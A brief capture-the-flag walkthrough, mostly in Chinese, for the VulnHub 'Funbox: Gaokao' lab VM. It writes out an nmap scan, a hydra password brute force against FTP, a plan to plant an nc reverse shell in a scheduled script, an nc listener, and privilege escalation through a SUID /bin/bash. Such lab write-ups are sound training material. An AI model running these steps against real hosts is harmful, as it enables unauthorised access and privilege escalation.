https://www.vulnhub.com/entry/funbox-gaokao,707/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

the target is 192.168.61.143
ports: 21, 22, 80, 3306
其中 21 看到有個 file: welcome.msg

我們把 welcome.msg 拿出來
帳號密碼就用 anonymous 就好了

wget ftp://anonymous:[email protected]/welcome.msg
cat welcome.msg

他說有個人叫做 sky
我們來破解他的密碼

hydra -f -l sky -P /usr/share/wordlists/rockyou.txt ftp://192.168.61.143 -t 32

找到了，我們 ftp 登入

ftp 192.168.61.143

看到有個 user.flag，是 sarah 的，我們取下來

get user.flag

user flag: 88jjggzzZhjJjkOIiu76TggHjoOIZTDsDSd

並且這是一個 bash script，不是 sky 擁有的
我們不知道什麼時候他會跑，不知道，但沒關係，改他，做個 nc reverse shell

上傳檔案

put user.flag

nc 等待連線上

nc -lvp 1234

先嘗試找 suid file

find / -type f -perm -4000 2>/dev/null

喔，就 /bin/bash
這邊直接 -p privileged
確定有部分 root access

/bin/bash -p
id

取 root flag:

ls /root
cat /root/root.flag